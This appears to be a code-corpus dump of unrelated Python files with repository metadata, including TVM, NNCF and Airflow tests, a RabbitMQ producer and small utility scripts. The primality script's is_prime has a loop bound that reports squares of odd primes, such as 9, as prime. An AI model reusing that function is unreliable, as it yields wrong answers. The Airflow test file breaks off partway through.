out_dim = weight.shape[3 + base] * weight.shape[5 + base]
for i in range(base + 2):
out_dim *= weight.shape[i]
new_order = (
[
2 + base,
4 + base,
]
+ list(range(base + 2))
+ [
3 + base,
5 + base,
]
)
np_args_ref[1] = np_args_ref[1].transpose(new_order)
np_args_ref[1] = np_args_ref[1].reshape((red_dim, out_dim))
func = tvm.build(s, bufs, target=target)
func_ref = tvm.build(s_ref, bufs_ref, target=target)
ctx = tvm.context(str(target))
ctx_ref = tvm.cpu()
args = [tvm.nd.array(x, ctx=ctx) for x in np_args]
args_ref = [tvm.nd.array(x, ctx=ctx_ref) for x in np_args_ref]
ctx.sync()
func(*args)
func_ref(*args_ref)
ctx.sync()
tvm.testing.assert_allclose(args[0].asnumpy(), args_ref[0].asnumpy(), atol=1e-3, rtol=1e-3)
tvm.testing.assert_allclose(args[2].asnumpy(), args_ref[2].asnumpy(), atol=1e-3, rtol=1e-3)
del measure_ctx
@tvm.testing.requires_llvm
def test_correctness_layout_rewrite_insert_transform_stage():
N = 128
target = tvm.target.Target("llvm")
task = auto_scheduler.SearchTask(func=matmul_auto_scheduler_test, args=(N, N, N), target=target)
dag = task.compute_dag
with tempfile.NamedTemporaryFile() as fp:
log_file = fp.name
search_policy = auto_scheduler.SketchPolicy(task)
measure_ctx = auto_scheduler.LocalRPCMeasureContext()
tuning_options = auto_scheduler.TuningOptions(
num_measure_trials=2,
runner=measure_ctx.runner,
verbose=1,
measure_callbacks=[auto_scheduler.RecordToFile(log_file)],
)
task.tune(tuning_options, search_policy=search_policy)
inp, _ = auto_scheduler.load_best_record(log_file, task.workload_key, target)
s, bufs = dag.apply_steps_from_state(
inp.state, layout_rewrite=auto_scheduler.LayoutRewriteOption.INSERT_TRANSFORM_STAGE
)
s_ref, bufs_ref = dag.apply_steps_from_state(inp.state)
np_args = [np.random.randn(*topi.get_const_tuple(x.shape)).astype(x.dtype) for x in bufs]
func = tvm.build(s, bufs, target=target)
func_ref = tvm.build(s_ref, bufs_ref, target=target)
ctx = tvm.context(str(target))
ctx_ref = tvm.cpu()
args = [tvm.nd.array(x, ctx=ctx) for x in np_args]
args_ref = [tvm.nd.array(x, ctx=ctx_ref) for x in np_args]
ctx.sync()
func(*args)
func_ref(*args_ref)
ctx.sync()
tvm.testing.assert_allclose(args[0].asnumpy(), args_ref[0].asnumpy(), atol=1e-3, rtol=1e-3)
tvm.testing.assert_allclose(args[1].asnumpy(), args_ref[1].asnumpy(), atol=1e-3, rtol=1e-3)
tvm.testing.assert_allclose(args[2].asnumpy(), args_ref[2].asnumpy(), atol=1e-3, rtol=1e-3)
del measure_ctx
if __name__ == "__main__":
test_apply_steps_with_layout_rewrite()
test_apply_steps_with_layout_rewrite_corner_case()
test_correctness_layout_rewrite_rewrite_for_preTransformed()
test_correctness_layout_rewrite_insert_transform_stage()
| 36.753927 | 100 | 0.663105 |
795c3d891ca00bbd99ba42a637644808de412d59 | 860 | py | Python | ermez/connect/rabbitmq/rabbitmq_producer.py | ggekos/ermez | bdee5c704b77367af968abaf5760af6a9f083bad | [
"Apache-2.0"
] | 1 | 2021-06-23T09:01:16.000Z | 2021-06-23T09:01:16.000Z | ermez/connect/rabbitmq/rabbitmq_producer.py | ggekos/ermez | bdee5c704b77367af968abaf5760af6a9f083bad | [
"Apache-2.0"
] | null | null | null | ermez/connect/rabbitmq/rabbitmq_producer.py | ggekos/ermez | bdee5c704b77367af968abaf5760af6a9f083bad | [
"Apache-2.0"
] | null | null | null | import pika
from urllib.parse import urlparse, parse_qs
from ermez.connect.abstract_producer import AbstractProducer
class Producer(AbstractProducer):
def __init__(self, uri: str, credential: str):
self.uri_parsed = urlparse(uri)
self.query = parse_qs(self.uri_parsed.query)
parameters = pika.URLParameters(
self.uri_parsed.scheme
+ "://"
+ self.uri_parsed.netloc
+ self.uri_parsed.path
)
connection = pika.BlockingConnection(parameters)
self.client = connection.channel()
def publish_message(self, message):
self.client.basic_publish(
self.query["exchange"][0],
self.query["routing_key"][0],
message.encode("utf-8"),
pika.BasicProperties(content_type="text/plain", delivery_mode=1),
)
| 29.655172 | 77 | 0.630233 |
795c3e37e664c72aa0adb00c1345bc5aa0590920 | 115 | py | Python | mainAbout/views.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | mainAbout/views.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | mainAbout/views.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def AboutView(request):
return render(request, 'mainAbout/aboutPage.html') | 28.75 | 54 | 0.791304 |
795c3fa1f627ef73fcc2dec83df4970507c95d65 | 41 | py | Python | venv/lib/python3.6/encodings/undefined.py | JamesMusyoka/Blog | fdcb51cf4541bbb3b9b3e7a1c3735a0b1f45f0b5 | [
"Unlicense"
] | 2 | 2019-04-17T13:35:50.000Z | 2021-12-21T00:11:36.000Z | venv/lib/python3.6/encodings/undefined.py | JamesMusyoka/Blog | fdcb51cf4541bbb3b9b3e7a1c3735a0b1f45f0b5 | [
"Unlicense"
] | 2 | 2021-03-31T19:51:24.000Z | 2021-06-10T23:05:09.000Z | venv/lib/python3.6/encodings/undefined.py | JamesMusyoka/Blog | fdcb51cf4541bbb3b9b3e7a1c3735a0b1f45f0b5 | [
"Unlicense"
] | 2 | 2019-10-01T08:47:35.000Z | 2020-07-11T06:32:16.000Z | /usr/lib/python3.6/encodings/undefined.py | 41 | 41 | 0.829268 |
795c408986dcab29eab9113ff278e6ca54c36739 | 3,263 | py | Python | utils/use.py | THU-CVlab/MEPDNet-pytorch | af033785fe183a4360f3f395087b45aba377d2bc | [
"MIT"
] | 2 | 2021-06-13T05:58:52.000Z | 2021-07-09T03:44:13.000Z | utils/use.py | THU-CVlab/MEPDNet-pytorch | af033785fe183a4360f3f395087b45aba377d2bc | [
"MIT"
] | null | null | null | utils/use.py | THU-CVlab/MEPDNet-pytorch | af033785fe183a4360f3f395087b45aba377d2bc | [
"MIT"
] | null | null | null | import os
import cv2
import glob
import torch
import shutil
import datetime
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
from PIL import Image
from tqdm import tqdm
from os.path import split,splitext
from utils import setup_logger, is_image_file, SeqUseDataset, SingleUseDataset
from torch.utils.data import DataLoader
def use(cfg,net,model_path):
mode = cfg['mode']
device = cfg['device']
class_num = cfg['class_num']
batch_size = cfg['batch_size']
num_workers = cfg['num_workers']
use_img_dir = cfg['use_img_dir']
model_name = net.__class__.__name__
if len(cfg['gpu_ids']) > 1:
model_name = net.module.__class__.__name__
performance_dir = os.path.join('extra_vis')
if os.path.exists(performance_dir):
shutil.rmtree(performance_dir)
os.makedirs(performance_dir,exist_ok=True)
performance_dir = os.path.join('extra_mask')
if os.path.exists(performance_dir):
shutil.rmtree(performance_dir)
os.makedirs(performance_dir,exist_ok=True)
current_time = datetime.datetime.now()
logger_file = os.path.join('log',mode,'{} {}.log'.
format(model_name,current_time.strftime('%Y%m%d %H:%M:%S')))
logger = setup_logger(f'{model_name} {mode}',logger_file)
if cfg['seq']:
dataset = SeqUseDataset(use_img_dir, cfg['input_transform'], logger)
else:
dataset = SingleUseDataset(use_img_dir, cfg['input_transform'], logger)
loader = DataLoader(dataset, batch_size=batch_size,shuffle=False,num_workers=num_workers)
net.load_state_dict(torch.load(model_path,map_location=device))
cnt = 0
net.eval()
with torch.no_grad():
for iter, item in enumerate(loader):
if cfg['seq']:
imgu1s, imgs, imgd1s, filenames = item
imgu1s, imgs, imgd1s = imgu1s.to(device), imgs.to(device), imgd1s.to(device)
else:
imgs, filenames = item
imgs = imgs.to(device)
with torch.no_grad():
if cfg['seq']:
predict = net(imgu1s, imgs, imgd1s)
else:
predict = net(imgs)
if class_num > 1:
probs = F.softmax(predict,dim=1)
else:
probs = torch.sigmoid(predict)
masks = torch.argmax(probs,dim=1).cpu().numpy()
for i, file_name in enumerate(filenames):
img = cv2.imread(file_name)
mask = masks[i].astype(np.uint8)
contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
for contour in contours:
for point in contour:
x, y = point[0]
img[y, x, :] = [255, 255, 0]
dst = os.path.join('extra_vis', file_name.split('/')[-1])
cv2.imwrite(dst, img, [int(cv2.IMWRITE_JPEG_QUALITY), 75])
dst = os.path.join('extra_mask', file_name.split('/')[-1]).replace('.jpg', '.npy')
np.save(dst, mask)
cnt += 1
print('{} Done'.format(cnt))
print('All Done.')
| 33.639175 | 98 | 0.583819 |
795c422063b058f08458cbae45cff6bd4425fe4d | 660 | py | Python | AA/Lessons/Lesson 8/primality.py | lengors/ua-repository | 4a2ff60af8b190783e1992fe8edb40fc1147224a | [
"MIT"
] | null | null | null | AA/Lessons/Lesson 8/primality.py | lengors/ua-repository | 4a2ff60af8b190783e1992fe8edb40fc1147224a | [
"MIT"
] | null | null | null | AA/Lessons/Lesson 8/primality.py | lengors/ua-repository | 4a2ff60af8b190783e1992fe8edb40fc1147224a | [
"MIT"
] | null | null | null | import math, random
def is_prime(number):
if number == 1 or number == 2:
return number == 2
if number % 2 == 0:
return False
for i in range(3, math.ceil(math.sqrt(number))):
if number % i == 0:
return False
return True
def is_prime2(number, count = 1000):
if number <= 0:
return False
if number <= 3:
return number != 1
if number % 2 == 0:
return False
for i in range(count):
value = random.randint(2, number - 2)
if (value ** (number - 1)) % number != 1:
return False
return True
for i in range(1, 50):
print(i, is_prime2(i, 5)) | 24.444444 | 52 | 0.537879 |
795c434c109a7d7ff9880970e47fc9619da58fe9 | 5,623 | py | Python | nncf/torch/quantization/precision_init/adjacent_quantizers.py | vuiseng9/nncf_pytorch | c2b1f069c867327203629201aecae3b7815e7895 | [
"Apache-2.0"
] | 136 | 2020-06-01T14:03:31.000Z | 2020-10-28T06:10:50.000Z | nncf/torch/quantization/precision_init/adjacent_quantizers.py | vuiseng9/nncf_pytorch | c2b1f069c867327203629201aecae3b7815e7895 | [
"Apache-2.0"
] | 133 | 2020-05-26T13:48:04.000Z | 2020-10-28T05:25:55.000Z | nncf/torch/quantization/precision_init/adjacent_quantizers.py | vuiseng9/nncf_pytorch | c2b1f069c867327203629201aecae3b7815e7895 | [
"Apache-2.0"
] | 36 | 2020-05-28T08:18:39.000Z | 2020-10-27T14:46:58.000Z | """
Copyright (c) 2022 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from typing import Dict
from typing import List
from typing import NamedTuple
from typing import Tuple
from nncf.common.graph import NNCFNodeName
from nncf.common.utils.logger import logger as nncf_logger
from nncf.torch.quantization.layers import BaseQuantizer
from nncf.common.quantization.structs import QuantizerId
from nncf.common.quantization.quantizer_setup import QuantizationPointId
from nncf.common.quantization.quantizer_setup import QuantizerSetupBase
class AdjacentQuantizers(NamedTuple):
"""
Combines activation and weight quantizers so that each quantizer is in the same group as the operation that it is
affecting. Each quantizer that does not affect any node (e.g. if it only affects other quantizers as a topmost
quantizer in a requantization scenario) will be placed in a separate group.
:param: activation_quantizers list of pairs of activation quantizers with their ids
:param: weight_quantizers list of pairs of weight quantizers with their ids
"""
activation_quantizers: List[Tuple[QuantizerId, BaseQuantizer]]
weight_quantizers: List[Tuple[QuantizerId, BaseQuantizer]]
class GroupsOfAdjacentQuantizers:
"""
Contains groups of adjacent quantizers
:param: weight_qp_id_per_activation_qp_id gives a single activation quantizer for a given weight quantizer
that directly quantize a weightable module (e.g. conv or linear)
"""
def __init__(self):
self.weight_qp_id_per_activation_qp_id: Dict[QuantizationPointId, QuantizationPointId] = {}
self._quantizer_per_group_id = {}
self._groups_of_adjacent_quantizers: List[AdjacentQuantizers] = []
def get_group_id_for_quantizer(self, quantizer_id: QuantizerId):
return self._quantizer_per_group_id.get(quantizer_id, None)
def get_adjacent_quantizers_by_group_id(self, group_id):
return self._groups_of_adjacent_quantizers[group_id].weight_quantizers + \
self._groups_of_adjacent_quantizers[group_id].activation_quantizers
def __iter__(self):
return iter(self._groups_of_adjacent_quantizers)
def __bool__(self):
return bool(self._groups_of_adjacent_quantizers) and bool(self._quantizer_per_group_id)
def __getitem__(self, group_id):
return self._groups_of_adjacent_quantizers[group_id]
def parse_from_quantizer_setup(self, all_quantizations: Dict[QuantizerId, BaseQuantizer],
quantizer_setup: QuantizerSetupBase,
quantization_point_id_vs_quantizer_id: Dict[QuantizationPointId, QuantizerId]):
for group_idx, group in quantizer_setup.shared_input_operation_set_groups.items():
act_quant_tuples = [] # type: List[Tuple[QuantizerId, BaseQuantizer]]
wt_quant_tuples = [] # type: List[Tuple[QuantizerId, BaseQuantizer]]
quantized_node_per_activation_qp_id = {} # type: Dict[NNCFNodeName, QuantizationPointId]
module_scope_per_weight_qp_id = {} # type: Dict[NNCFNodeName, QuantizationPointId]
for qp_id in group:
qp = quantizer_setup.quantization_points[qp_id]
quant_id = quantization_point_id_vs_quantizer_id[qp_id]
quantizer_module = all_quantizations[quant_id]
resulting_tuple = (quant_id, quantizer_module)
if qp.is_weight_quantization_point():
wt_quant_tuples.append(resulting_tuple)
weight_quantized_module_node_name = qp.target_point.target_node_name
module_scope_per_weight_qp_id[weight_quantized_module_node_name] = qp_id
elif qp.is_activation_quantization_point():
act_quant_tuples.append(resulting_tuple)
quantized_node_names = qp.directly_quantized_operator_node_names
quantized_node_per_activation_qp_id.update({node_name: qp_id for node_name in quantized_node_names})
self._quantizer_per_group_id[quant_id] = group_idx
for weight_quantized_module_node_name, w_qp_id in module_scope_per_weight_qp_id.items():
if weight_quantized_module_node_name not in quantized_node_per_activation_qp_id:
nncf_logger.warning('Module `%s` has quantized weights and no quantized inputs!',
weight_quantized_module_node_name)
continue
a_qp_id = quantized_node_per_activation_qp_id[weight_quantized_module_node_name]
if w_qp_id in self.weight_qp_id_per_activation_qp_id:
nncf_logger.warning('Multiple weight quantizers per activation quantizer for `%s`',
weight_quantized_module_node_name)
continue
self.weight_qp_id_per_activation_qp_id[w_qp_id] = a_qp_id
adj_quants = AdjacentQuantizers(act_quant_tuples, wt_quant_tuples)
self._groups_of_adjacent_quantizers.append(adj_quants)
| 53.552381 | 120 | 0.723457 |
795c4513472cdc452a125127416c848641ab2c4f | 572 | py | Python | vocompr/utils.py | EnzoBnl/vocompr | fdbe5df59a698e232fb4b107aba1d96d4f8dba80 | [
"Apache-2.0"
] | null | null | null | vocompr/utils.py | EnzoBnl/vocompr | fdbe5df59a698e232fb4b107aba1d96d4f8dba80 | [
"Apache-2.0"
] | 5 | 2019-11-22T22:52:46.000Z | 2020-04-21T13:09:36.000Z | vocompr/utils.py | EnzoBnl/vocompr | fdbe5df59a698e232fb4b107aba1d96d4f8dba80 | [
"Apache-2.0"
] | null | null | null | def int_to_bits(i, fill_to_n=None):
bits_str = ""
while i != 0:
bits_str = str(i % 2) + bits_str
i = i // 2
return ((fill_to_n - len(bits_str)) if fill_to_n is not None else 0) * "0" + bits_str
def bits_to_int(b):
return int(b, 2)
def bits_to_hex(bits):
res = hex(int(bits, 2))[2:]
return ("0" if len(res) % 2 else "") + res
def hex_to_bits(h):
return bin(int(h, 16))[2:]
def hex_to_bytes(h):
return bytes.fromhex(h)
def bytes_to_hex(b):
return b.hex()
def char_string_size_in_bits(s):
return 8 * len(s)
| 17.875 | 89 | 0.594406 |
795c454e7f23ded5d7bc3def6521dfe073a263f2 | 20,595 | py | Python | tests/operators/test_python_operator.py | bluevine-dev/airflow | 8b3847831391ef16c1aa139944542ff7b914bb2c | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | tests/operators/test_python_operator.py | bluevine-dev/airflow | 8b3847831391ef16c1aa139944542ff7b914bb2c | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | tests/operators/test_python_operator.py | bluevine-dev/airflow | 8b3847831391ef16c1aa139944542ff7b914bb2c | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 1 | 2020-01-17T00:46:50.000Z | 2020-01-17T00:46:50.000Z | # -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import copy
import logging
import os
import unittest
from datetime import timedelta, date
from airflow import configuration
from airflow.exceptions import AirflowException
from airflow.models import TaskInstance as TI, DAG, DagRun
from airflow.operators.dummy_operator import DummyOperator
from airflow.operators.python_operator import PythonOperator, BranchPythonOperator
from airflow.operators.python_operator import ShortCircuitOperator
from airflow.utils import timezone
from airflow.utils.db import create_session
from airflow.utils.state import State
DEFAULT_DATE = timezone.datetime(2016, 1, 1)
END_DATE = timezone.datetime(2016, 1, 2)
INTERVAL = timedelta(hours=12)
FROZEN_NOW = timezone.datetime(2016, 1, 2, 12, 1, 1)
TI_CONTEXT_ENV_VARS = ['AIRFLOW_CTX_DAG_ID',
'AIRFLOW_CTX_TASK_ID',
'AIRFLOW_CTX_EXECUTION_DATE',
'AIRFLOW_CTX_DAG_RUN_ID']
class Call:
def __init__(self, *args, **kwargs):
self.args = args
self.kwargs = kwargs
def build_recording_function(calls_collection):
"""
We can not use a Mock instance as a PythonOperator callable function or some tests fail with a
TypeError: Object of type Mock is not JSON serializable
Then using this custom function recording custom Call objects for further testing
(replacing Mock.assert_called_with assertion method)
"""
def recording_function(*args, **kwargs):
calls_collection.append(Call(*args, **kwargs))
return recording_function
class PythonOperatorTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
super(PythonOperatorTest, cls).setUpClass()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
def setUp(self):
super(PythonOperatorTest, self).setUp()
configuration.load_test_config()
self.dag = DAG(
'test_dag',
default_args={
'owner': 'airflow',
'start_date': DEFAULT_DATE},
schedule_interval=INTERVAL)
self.addCleanup(self.dag.clear)
self.clear_run()
self.addCleanup(self.clear_run)
def tearDown(self):
super(PythonOperatorTest, self).tearDown()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
for var in TI_CONTEXT_ENV_VARS:
if var in os.environ:
del os.environ[var]
def do_run(self):
self.run = True
def clear_run(self):
self.run = False
def is_run(self):
return self.run
def test_python_operator_run(self):
"""Tests that the python callable is invoked on task run."""
task = PythonOperator(
python_callable=self.do_run,
task_id='python_operator',
dag=self.dag)
self.assertFalse(self.is_run())
task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
self.assertTrue(self.is_run())
def test_python_operator_python_callable_is_callable(self):
"""Tests that PythonOperator will only instantiate if
the python_callable argument is callable."""
not_callable = {}
with self.assertRaises(AirflowException):
PythonOperator(
python_callable=not_callable,
task_id='python_operator',
dag=self.dag)
not_callable = None
with self.assertRaises(AirflowException):
PythonOperator(
python_callable=not_callable,
task_id='python_operator',
dag=self.dag)
def _assertCallsEqual(self, first, second):
self.assertIsInstance(first, Call)
self.assertIsInstance(second, Call)
self.assertTupleEqual(first.args, second.args)
self.assertDictEqual(first.kwargs, second.kwargs)
def test_python_callable_arguments_are_templatized(self):
"""Test PythonOperator op_args are templatized"""
recorded_calls = []
task = PythonOperator(
task_id='python_operator',
# a Mock instance cannot be used as a callable function or test fails with a
# TypeError: Object of type Mock is not JSON serializable
python_callable=(build_recording_function(recorded_calls)),
op_args=[
4,
date(2019, 1, 1),
"dag {{dag.dag_id}} ran on {{ds}}."
],
dag=self.dag)
self.dag.create_dagrun(
run_id='manual__' + DEFAULT_DATE.isoformat(),
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
state=State.RUNNING
)
task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
self.assertEqual(1, len(recorded_calls))
self._assertCallsEqual(
recorded_calls[0],
Call(4,
date(2019, 1, 1),
"dag {} ran on {}.".format(self.dag.dag_id, DEFAULT_DATE.date().isoformat()))
)
def test_python_callable_keyword_arguments_are_templatized(self):
"""Test PythonOperator op_kwargs are templatized"""
recorded_calls = []
task = PythonOperator(
task_id='python_operator',
# a Mock instance cannot be used as a callable function or test fails with a
# TypeError: Object of type Mock is not JSON serializable
python_callable=(build_recording_function(recorded_calls)),
op_kwargs={
'an_int': 4,
'a_date': date(2019, 1, 1),
'a_templated_string': "dag {{dag.dag_id}} ran on {{ds}}."
},
dag=self.dag)
self.dag.create_dagrun(
run_id='manual__' + DEFAULT_DATE.isoformat(),
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
state=State.RUNNING
)
task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
self.assertEqual(1, len(recorded_calls))
self._assertCallsEqual(
recorded_calls[0],
Call(an_int=4,
a_date=date(2019, 1, 1),
a_templated_string="dag {} ran on {}.".format(
self.dag.dag_id, DEFAULT_DATE.date().isoformat()))
)
def test_python_operator_shallow_copy_attr(self):
not_callable = lambda x: x
original_task = PythonOperator(
python_callable=not_callable,
task_id='python_operator',
op_kwargs={'certain_attrs': ''},
dag=self.dag
)
new_task = copy.deepcopy(original_task)
# shallow copy op_kwargs
self.assertEqual(id(original_task.op_kwargs['certain_attrs']),
id(new_task.op_kwargs['certain_attrs']))
# shallow copy python_callable
self.assertEqual(id(original_task.python_callable),
id(new_task.python_callable))
def _env_var_check_callback(self):
self.assertEqual('test_dag', os.environ['AIRFLOW_CTX_DAG_ID'])
self.assertEqual('hive_in_python_op', os.environ['AIRFLOW_CTX_TASK_ID'])
self.assertEqual(DEFAULT_DATE.isoformat(),
os.environ['AIRFLOW_CTX_EXECUTION_DATE'])
self.assertEqual('manual__' + DEFAULT_DATE.isoformat(),
os.environ['AIRFLOW_CTX_DAG_RUN_ID'])
def test_echo_env_variables(self):
"""
Test that env variables are exported correctly to the
python callback in the task.
"""
self.dag.create_dagrun(
run_id='manual__' + DEFAULT_DATE.isoformat(),
execution_date=DEFAULT_DATE,
start_date=DEFAULT_DATE,
state=State.RUNNING,
external_trigger=False,
)
t = PythonOperator(task_id='hive_in_python_op',
dag=self.dag,
python_callable=self._env_var_check_callback
)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
class BranchOperatorTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
super(BranchOperatorTest, cls).setUpClass()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
def setUp(self):
self.dag = DAG('branch_operator_test',
default_args={
'owner': 'airflow',
'start_date': DEFAULT_DATE},
schedule_interval=INTERVAL)
self.branch_1 = DummyOperator(task_id='branch_1', dag=self.dag)
self.branch_2 = DummyOperator(task_id='branch_2', dag=self.dag)
def tearDown(self):
super(BranchOperatorTest, self).tearDown()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
def test_without_dag_run(self):
"""This checks the defensive against non existent tasks in a dag run"""
self.branch_op = BranchPythonOperator(task_id='make_choice',
dag=self.dag,
python_callable=lambda: 'branch_1')
self.branch_1.set_upstream(self.branch_op)
self.branch_2.set_upstream(self.branch_op)
self.dag.clear()
self.branch_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
with create_session() as session:
tis = session.query(TI).filter(
TI.dag_id == self.dag.dag_id,
TI.execution_date == DEFAULT_DATE
)
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1':
# should exist with state None
self.assertEqual(ti.state, State.NONE)
elif ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.SKIPPED)
else:
raise Exception
def test_branch_list_without_dag_run(self):
"""This checks if the BranchPythonOperator supports branching off to a list of tasks."""
self.branch_op = BranchPythonOperator(task_id='make_choice',
dag=self.dag,
python_callable=lambda: ['branch_1', 'branch_2'])
self.branch_1.set_upstream(self.branch_op)
self.branch_2.set_upstream(self.branch_op)
self.branch_3 = DummyOperator(task_id='branch_3', dag=self.dag)
self.branch_3.set_upstream(self.branch_op)
self.dag.clear()
self.branch_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
with create_session() as session:
tis = session.query(TI).filter(
TI.dag_id == self.dag.dag_id,
TI.execution_date == DEFAULT_DATE
)
expected = {
"make_choice": State.SUCCESS,
"branch_1": State.NONE,
"branch_2": State.NONE,
"branch_3": State.SKIPPED,
}
for ti in tis:
if ti.task_id in expected:
self.assertEqual(ti.state, expected[ti.task_id])
else:
raise Exception
def test_with_dag_run(self):
self.branch_op = BranchPythonOperator(task_id='make_choice',
dag=self.dag,
python_callable=lambda: 'branch_1')
self.branch_1.set_upstream(self.branch_op)
self.branch_2.set_upstream(self.branch_op)
self.dag.clear()
dr = self.dag.create_dagrun(
run_id="manual__",
start_date=timezone.utcnow(),
execution_date=DEFAULT_DATE,
state=State.RUNNING
)
self.branch_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
tis = dr.get_task_instances()
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1':
self.assertEqual(ti.state, State.NONE)
elif ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.SKIPPED)
else:
raise Exception
def test_with_skip_in_branch_downstream_dependencies(self):
self.branch_op = BranchPythonOperator(task_id='make_choice',
dag=self.dag,
python_callable=lambda: 'branch_1')
self.branch_op >> self.branch_1 >> self.branch_2
self.branch_op >> self.branch_2
self.dag.clear()
dr = self.dag.create_dagrun(
run_id="manual__",
start_date=timezone.utcnow(),
execution_date=DEFAULT_DATE,
state=State.RUNNING
)
self.branch_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
tis = dr.get_task_instances()
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1':
self.assertEqual(ti.state, State.NONE)
elif ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.NONE)
else:
raise Exception
def test_with_skip_in_branch_downstream_dependencies2(self):
self.branch_op = BranchPythonOperator(task_id='make_choice',
dag=self.dag,
python_callable=lambda: 'branch_2')
self.branch_op >> self.branch_1 >> self.branch_2
self.branch_op >> self.branch_2
self.dag.clear()
dr = self.dag.create_dagrun(
run_id="manual__",
start_date=timezone.utcnow(),
execution_date=DEFAULT_DATE,
state=State.RUNNING
)
self.branch_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
tis = dr.get_task_instances()
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1':
self.assertEqual(ti.state, State.SKIPPED)
elif ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.NONE)
else:
raise Exception
class ShortCircuitOperatorTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
super(ShortCircuitOperatorTest, cls).setUpClass()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
def tearDown(self):
super(ShortCircuitOperatorTest, self).tearDown()
with create_session() as session:
session.query(DagRun).delete()
session.query(TI).delete()
def test_without_dag_run(self):
"""This checks the defensive against non existent tasks in a dag run"""
value = False
dag = DAG('shortcircuit_operator_test_without_dag_run',
default_args={
'owner': 'airflow',
'start_date': DEFAULT_DATE
},
schedule_interval=INTERVAL)
short_op = ShortCircuitOperator(task_id='make_choice',
dag=dag,
python_callable=lambda: value)
branch_1 = DummyOperator(task_id='branch_1', dag=dag)
branch_1.set_upstream(short_op)
branch_2 = DummyOperator(task_id='branch_2', dag=dag)
branch_2.set_upstream(branch_1)
upstream = DummyOperator(task_id='upstream', dag=dag)
upstream.set_downstream(short_op)
dag.clear()
short_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
with create_session() as session:
tis = session.query(TI).filter(
TI.dag_id == dag.dag_id,
TI.execution_date == DEFAULT_DATE
)
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'upstream':
# should not exist
raise Exception
elif ti.task_id == 'branch_1' or ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.SKIPPED)
else:
raise Exception
value = True
dag.clear()
short_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'upstream':
# should not exist
raise Exception
elif ti.task_id == 'branch_1' or ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.NONE)
else:
raise Exception
def test_with_dag_run(self):
value = False
dag = DAG('shortcircuit_operator_test_with_dag_run',
default_args={
'owner': 'airflow',
'start_date': DEFAULT_DATE
},
schedule_interval=INTERVAL)
short_op = ShortCircuitOperator(task_id='make_choice',
dag=dag,
python_callable=lambda: value)
branch_1 = DummyOperator(task_id='branch_1', dag=dag)
branch_1.set_upstream(short_op)
branch_2 = DummyOperator(task_id='branch_2', dag=dag)
branch_2.set_upstream(branch_1)
upstream = DummyOperator(task_id='upstream', dag=dag)
upstream.set_downstream(short_op)
dag.clear()
